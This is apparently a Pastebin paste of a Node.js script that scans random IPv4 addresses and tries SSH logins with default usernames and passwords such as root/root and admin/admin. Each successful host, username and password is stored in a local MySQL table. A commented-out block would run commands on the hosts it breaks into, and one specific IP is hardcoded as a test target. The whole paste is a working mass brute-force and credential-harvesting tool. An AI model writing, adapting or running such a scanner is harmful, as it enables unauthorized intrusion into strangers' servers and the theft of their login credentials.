Advertisement
Guest User

Untitled

a guest
Dec 1st, 2018
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.42 KB | None | 0 0
  1. const Client = require('ssh2').Client;
  2. const mysql = require('mysql');
  3.  
  4. let foundCounter = 0;
  5.  
  6. function tryConnect(config) {
  7. const conn = new Client();
  8.  
  9. conn.on('error', (err) => {
  10. conn.end();
  11. })
  12. conn.on('ready', () => {
  13. foundCounter++
  14. console.log(foundCounter);
  15. config.mysqlConnection.connect();
  16. config.mysqlConnection.query(`INSERT INTO servers (adress, userName, password) VALUES ('${config.ipAdress}', '${config.username}', '${config.password}')`, (error, results, fields) => {
  17. if (!error) console.log('inserted!');
  18. else console.log('Failed inserting!', error);
  19. })
  20. config.mysqlConnection.end();
  21. conn.end();
  22. /*conn.exec('uptime', (err, stream) => {
  23. if (err) throw err;
  24. stream.on('close', (code, signal) => {
  25. //console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  26. conn.end();
  27. }).on('data', (data) => {
  28. //console.log('STDOUT: ' + data);
  29. }).stderr.on('data', (data) => {
  30. //console.log('STDERR: ' + data);
  31. });
  32. });*/
  33. })
  34. .connect({
  35. host: config.ipAdress,
  36. port: 22,
  37. username: config.username,
  38. password: config.password
  39. })
  40.  
  41. }
  42.  
  43. function createRandomIp() {
  44. let ipArr = [];
  45. for (let i = 0; i < 4; i++) {
  46. ipArr.push(Math.floor((Math.random() * 255)));
  47. }
  48. return ipArr.join('.');
  49. }
  50.  
  51. let count = 0;
  52.  
  53. function main() {
  54. const connection = mysql.createConnection({
  55. host: 'localhost',
  56. user: 'root',
  57. password: 'root',
  58. database: 'ssh-testing'
  59. });
  60.  
  61. const ipTest = '173.249.49.210';
  62. const settings = {
  63. userNames: ['root', 'admin', 'administrator'],
  64. passwords: ['root', 'admin', 'administrator']
  65. };
  66.  
  67. while (true) {
  68. count++;
  69. if (count % 100000 === 0) console.log(count);
  70. const ipAdress = createRandomIp();
  71. settings.userNames.forEach(username => {
  72. settings.passwords.forEach(password => {
  73. tryConnect({
  74. ipAdress: ipAdress,
  75. username: username,
  76. password: password,
  77. mysqlConnection: connection
  78. });
  79. })
  80. })
  81. }
  82. }
  83.  
  84. main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement